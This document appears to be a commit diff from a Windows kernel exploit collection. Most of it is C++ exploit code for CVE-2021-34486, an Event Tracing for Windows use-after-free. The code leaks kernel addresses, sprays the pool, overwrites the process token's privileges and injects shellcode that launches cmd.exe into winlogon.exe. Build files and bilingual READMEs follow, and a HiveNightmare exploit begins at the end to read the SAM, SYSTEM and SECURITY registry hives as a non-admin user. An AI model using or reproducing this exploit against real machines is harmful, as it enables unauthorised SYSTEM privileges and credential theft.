DWORD64 LeakTheadNamePoolAddr(DWORD64 ktoken)
{
DWORD dwThreadID = 0;
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fnExploit, 0, 0, &dwThreadID);
printf("[-] hTread==%p,dwThreadID==%d\n", hThread, dwThreadID);
USHORT dwSize = 4096;
LPVOID lpMessageToStore = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE);
memset(lpMessageToStore, 0x41, 0x20);
//BitMapHeader->SizeOfBitMap
*(DWORD64*)lpMessageToStore = 0x80;
//BitMapHeader->Buffer
*(DWORD64*)((DWORD64)lpMessageToStore + 8) = ktoken;
UNICODE_STRING target = {};
target.Length = dwSize;
target.MaximumLength = 0xffff;
target.Buffer = (PWSTR)lpMessageToStore;
HRESULT hRes = NtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &target, 0x10);
DWORD dwBufSize = 1024 * 1024;
DWORD dwOutSize;
LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize);
hRes = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
DWORD dwExpectedSize = target.Length + sizeof(UNICODE_STRING);
ULONG_PTR StartAddress = (ULONG_PTR)pBuffer;
ULONG_PTR EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
ULONG_PTR ptr = StartAddress + 8;
while (ptr < EndAddress)
{
PBIG_POOL_INFO info = (PBIG_POOL_INFO)ptr;
//printf("Name:%s Size:%llx Address:%llx\n", info->PoolTag, info->PoolSize, info->Address);
if (strncmp(info->PoolTag, "ThNm", 4) == 0 && dwExpectedSize == info->PoolSize)
{
return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
}
ptr += sizeof(BIG_POOL_INFO);
}
printf("[-] Lead Pool Addr Failed\n");
return NULL;
}
void Trigger_Exploit(DWORD64 dwRtlSetAllBits, DWORD64 Fake_RtlBitMapAddr)
{
HANDLE file = NULL;
IO_STATUS_BLOCK iostatus;
FILE_BASIC_INFORMATION fbi = {};
file = CreateFile(L"\\\\.\\PEAuth", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, NULL, NULL);
//file = CreateFile(L"\\\\.\\COM1", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_OVERLAPPED, NULL);
if (file == INVALID_HANDLE_VALUE) {
printf("CreateFile Failed ,Err:%x\n", GetLastError());
return;
}
char* pbuffer = (char*)malloc(0x30);
memset((void*)pbuffer, 0, 0x30);
*(DWORD64*)pbuffer = 0; //WorkItem.List.Flink
*(DWORD64*)(pbuffer + 16) = (DWORD64)dwRtlSetAllBits; //WorkItem.WorkerRoutine
*(DWORD64*)(pbuffer + 24) = (DWORD64)Fake_RtlBitMapAddr; //WorkItem.Parameter
ULONG status = 0;
ULONG returnLength = 0;
ETWP_NOTIFICATION_HEADER outputBuffer;
GUID SessionGuid;
GUID ProviderGuid;
GUID buf1guid;
GUID buf2guid;
CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &SessionGuid);
CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &ProviderGuid);
CLSIDFromString(L"{14f8138e-3b61-580b-544b-2609378ae460}", &buf1guid);
CLSIDFromString(L"{6b4012d0-22b6-464d-a553-20e9618403a2}", &buf2guid);
TRACEHANDLE SessionHandle = 0;
EVENT_TRACE_PROPERTIES* pSessionProperties = NULL;
ULONG BufferSize = 0;
BOOL TraceOn = TRUE;
// Allocate memory for the session properties. The memory must
// be large enough to include the log file name and session name,
// which get appended to the end of the session properties structure.
BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) + sizeof(LOGSESSION_NAME);
pSessionProperties = (EVENT_TRACE_PROPERTIES*)malloc(BufferSize);
if (NULL == pSessionProperties)
{
wprintf(L"Unable to allocate %d bytes for properties structure.\n", BufferSize);
//return 0;
}
// Set the session properties. You only append the log file name
// to the properties structure; the StartTrace function appends
// the session name for you.
ZeroMemory(pSessionProperties, BufferSize);
pSessionProperties->Wnode.BufferSize = BufferSize;
pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
pSessionProperties->Wnode.Guid = SessionGuid;
pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_SEQUENTIAL;
pSessionProperties->MaximumFileSize = 1; // 1 MB
pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
pSessionProperties->LogFileNameOffset = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME);
StringCbCopy((LPWSTR)((char*)pSessionProperties + pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH);
// Create the trace session.
status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME, pSessionProperties);
if (ERROR_SUCCESS != status)
{
wprintf(L"[-] StartTrace() failed with %d\n", status);
//goto cleanup;
}
wprintf(L"[-] StartTrace() with %d ,SessionHandle %p\n", status, SessionHandle);
status = EnableTraceEx2(
SessionHandle,
(LPCGUID)&buf1guid,
EVENT_CONTROL_CODE_ENABLE_PROVIDER,
TRACE_LEVEL_INFORMATION,
0,
0,
0,
NULL
);
if (ERROR_SUCCESS != status)
{
wprintf(L"[-] EnableTrace() failed with %d\n", status);
TraceOn = FALSE;
//goto cleanup;
}
printf("[-] Logid Index:%x\n", SessionHandle);
ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff1 = {
(UINT32)SessionHandle,
0,
1,
{ buf1guid } };
NTSTATUS status1 = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff1, sizeof(InBuff1), &InBuff1, sizeof(InBuff1),
&returnLength);
printf("[-] NtTraceControl 1 %d\n", status1);
ETW_UPDATE_PERIODIC_CAPTURE_STATE InBuff2 = {
(UINT32)SessionHandle,
0,
1,
{ buf2guid } };
NTSTATUS status2 = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff2, sizeof(InBuff2), &outputBuffer, sizeof(outputBuffer), &returnLength);
printf("[-] NtTraceControl 2 %d\n", status2);
//Sleep(2000);
printf("[-] Spray....\n");
for (int i = 0; i < 0x10000; i++)
{
NtSetEaFile(file, &iostatus, pbuffer, 0x30);
}
NTSTATUS status3 = NtTraceControl(EtwFunctionUpdatePeriodicCaptureState, &InBuff1, sizeof(InBuff1), &InBuff1, sizeof(InBuff1), &returnLength);
printf("[-] NtTraceControl 3 %d\n", status3);
Sleep(0x2000);
status = EnableTraceEx2(
SessionHandle,
(LPCGUID)&ProviderGuid,
EVENT_CONTROL_CODE_DISABLE_PROVIDER,
TRACE_LEVEL_INFORMATION,
0,
0,
0,
NULL
);
status = ControlTrace(SessionHandle, LOGSESSION_NAME, pSessionProperties, EVENT_TRACE_CONTROL_STOP);
}
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
PVOID Object;
ULONG_PTR UniqueProcessId;
ULONG_PTR HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
ULONG_PTR NumberOfHandles;
ULONG_PTR Reserved;
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
typedef struct _SYSTEM_MODULE_ENTRY_INFO
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY_INFO, * PSYSTEM_MODULE_ENTRY_INFO;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG NumberOfModules;
SYSTEM_MODULE_ENTRY_INFO Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
#define SystemExtendedHandleInformation 64
// run cmd.exe
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
SIZE_T GetObjectKernelAddress(HANDLE object)
{
PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL;
ULONG handleInfoSize = 0x1000;
ULONG retLength;
NTSTATUS status = NULL;
SIZE_T kernelAddress = 0;
BOOL bFind = FALSE;
while (TRUE)
{
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if (status == 0xC0000004 || NT_SUCCESS(status)) // STATUS_INFO_LENGTH_MISMATCH
{
LocalFree(handleInfo);
handleInfoSize = retLength + 0x100;
handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc(LPTR, handleInfoSize);
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength);
if (NT_SUCCESS(status))
{
for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++)
{
if ((USHORT)object == 0x4)
{
if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue)
{
kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
bFind = TRUE;
break;
}
}
else
{
if (GetCurrentProcessId() == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)object == (SIZE_T)handleInfo->Handles[i].HandleValue)
{
kernelAddress = (SIZE_T)handleInfo->Handles[i].Object;
bFind = TRUE;
break;
}
}
}
}
}
if (handleInfo)
LocalFree(handleInfo);
if (bFind)
break;
}
return kernelAddress;
}
DWORD64 GetModuleAddr(const char* modName)
{
PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);
if (status == ((NTSTATUS)0xC0000004L))//STATUS_INFO_LENGTH_MISMATCH
{
free(buffer);
buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error\n");
return 0;
}
for (unsigned int i = 0; i < buffer->NumberOfModules; i++)
{
PVOID kernelImageBase = buffer->Modules[i].ImageBase;
PCHAR kernelImage = (PCHAR)buffer->Modules[i].FullPathName;
if (_stricmp(kernelImage, modName) == 0)
{
free(buffer);
return (DWORD64)kernelImageBase;
}
}
free(buffer);
return 0;
}
DWORD64 GetGadgetAddr(const char* name)
{
DWORD64 base = GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
HMODULE mod = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!mod)
{
printf("[-] leaking ntoskrnl version\n");
return 0;
}
DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
DWORD64 returnValue = base + offset - (DWORD64)mod;
//printf("[+] FunAddr: %p\n", (DWORD64)returnValue);
FreeLibrary(mod);
return returnValue;
}
void InjectToWinlogon()
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (wcscmp(entry.szExeFile, L"winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0)
{
printf("Could not find process\n");
return;
}
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h)
{
printf("Could not open process: %x", GetLastError());
return;
}
void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer)
{
printf("[-] VirtualAllocEx failed\n");
}
if (!buffer)
{
printf("[-] remote allocation failed");
return;
}
if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
{
printf("[-] WriteProcessMemory failed");
return;
}
HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
if (hthread == INVALID_HANDLE_VALUE)
{
printf("[-] CreateRemoteThread failed");
return;
}
}
int main()
{
HANDLE hCurProcessHandle;
HANDLE hCurThreadHandle;
if (!DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), &hCurProcessHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) ||
!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hCurThreadHandle, 0, FALSE, DUPLICATE_SAME_ACCESS))
return -1;
DWORD64 dwKernelEprocessAddr = GetObjectKernelAddress(hCurProcessHandle);
DWORD64 dwKernelEthreadAddr = GetObjectKernelAddress(hCurThreadHandle);
printf("[-] dwKernelEprocessAddr=%p\n", dwKernelEprocessAddr);
printf("[-] dwKernelEthreadAddr=%p\n", dwKernelEthreadAddr);
NtSetInformationFile = (pNtSetInformationFile)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetInformationFile");
NtQueryInformationFile = (pNtQueryInformationFile)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtQueryInformationFile");
NtSetInformationThread = (fnNtSetInformationThreadPtr)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetInformationThread");
NtSetEaFile = (pNtSetEaFile)GetProcAddress(LoadLibrary(L"ntdll.dll"), "NtSetEaFile");
if (NtSetInformationFile == NULL)
{
printf("[-] Getting NtSetInformationFile Failed\n");
}
if (NtQueryInformationFile == NULL)
{
printf("[-] Getting NtQueryInformationFile Failed\n");
}
if (NtSetInformationThread == NULL)
{
printf("[-] Getting NtSetInformationThread Failed\n");
}
if (NtSetEaFile == NULL)
{
printf("[-] Getting NtSetEaFile Failed\n");
}
DWORD64 ktoken = LeakEporcessKtoken();
printf("[-] ktoken addr =%p\n", ktoken);
DWORD64 Fake_RtlBitMapAddr = LeakTheadNamePoolAddr(ktoken + 0x40);
printf("[-] Fake_RtlBitMapAddr=%p\n", Fake_RtlBitMapAddr);
DWORD64 GadgetAddr = GetGadgetAddr("RtlSetAllBits");
printf("[-] GadgetAddr addr =%p\n", GadgetAddr);
Trigger_Exploit(GadgetAddr, Fake_RtlBitMapAddr);
printf("[-] InjectToWinlogon");
InjectToWinlogon();
return 0;
}

View File

@ -0,0 +1,147 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{93026d75-a5db-4eed-9e28-46512569d052}</ProjectGuid>
<RootNamespace>CVE202134486</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CVE-2021-34486.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CVE-2021-34486.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

Binary file not shown.

View File

@ -0,0 +1,45 @@
### CVE-2021-34486
#### 描述
Windows事件追踪提权漏洞
#### 影响版本
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | -------- |
| Windows 10 | x86/x64 | | | |
| Windows 10 | x86/x64/AMD64 | 1809 | | |
| Windows 10 | x86/x64/AMD64 | 1909 | | &#10004; |
| Windows 10 | x86/x64/AMD64 | 2004 | | |
| Windows 10 | x86/x64/AMD64 | 20H2 | | |
| Windows 10 | x86/x64/AMD64 | 21H1 | | |
| Windows Server 2019 | | | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### 修复补丁
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34486
```
#### 利用方式
编译环境
- VS2019V142X64 Release
> 有机率蓝屏
测试系统Windows 10 1909 X64
![image-20210911115757383](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-34486_Windows_10_1909_X64.gif)
#### 参考项目
- [KaLendsi](https://github.com/KaLendsi/CVE-2021-34486)
#### 分析文章
- [Event Tracing for Windows (ETW) TimerCallbackContext Object Use-After-Free Vulnerability](https://www.pixiepointsecurity.com/blog/advisory-cve-2021-34486.html)

View File

@ -0,0 +1,45 @@
### CVE-2021-34486
#### Describe
Windows Event Tracing Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-26425, CVE-2021-34487.
#### ImpactVersion
| Product | CPU Architecture | Version | Update | Tested |
| ------------------- | ---------------- | ------- | ------ | -------- |
| Windows 10 | x86/x64 | | | |
| Windows 10 | x86/x64/AMD64 | 1809 | | |
| Windows 10 | x86/x64/AMD64 | 1909 | | &#10004; |
| Windows 10 | x86/x64/AMD64 | 2004 | | |
| Windows 10 | x86/x64/AMD64 | 20H2 | | |
| Windows 10 | x86/x64/AMD64 | 21H1 | | |
| Windows Server 2019 | | | | |
| Windows Server | | 2004 | | |
| Windows Server | | 20H2 | | |
#### Patch
```
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34486
```
#### Utilization
CompilerEnvironment
- VS2019V142X64 Release
> Organic blue screen
Test System Windows 10 1909 X64
![image-20210911115757383](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2021-34486_Windows_10_1909_X64.gif)
#### ProjectSource
- [KaLendsi](https://github.com/KaLendsi/CVE-2021-34486)
#### Analyze
- [Event Tracing for Windows (ETW) TimerCallbackContext Object Use-After-Free Vulnerability](https://www.pixiepointsecurity.com/blog/advisory-cve-2021-34486.html)

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.0.31512.422
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HiveNightmare", "HiveNightmare\HiveNightmare.vcxproj", "{D92EC8B5-B4B6-4650-A848-00160CBE13E0}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Debug|x64.ActiveCfg = Debug|x64
{D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Debug|x64.Build.0 = Debug|x64
{D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Debug|x86.ActiveCfg = Debug|Win32
{D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Debug|x86.Build.0 = Debug|Win32
{D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Release|x64.ActiveCfg = Release|x64
{D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Release|x64.Build.0 = Release|x64
{D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Release|x86.ActiveCfg = Release|Win32
{D92EC8B5-B4B6-4650-A848-00160CBE13E0}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {6331FEE7-8148-43B7-9380-216FDA4030C5}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,162 @@
// Exploit for HiveNightmare, discovered by @jonasLyk, PoC by @GossiTheDog, powered by Porgs
// Allows you to read SAM, SYSTEM and SECURITY registry hives in Windows 10 from non-admin users
// History
// 0.1 - 20/07/2021 - Initial version
// 0.2 - 20/07/2021 - Adds support for 4 snapshots
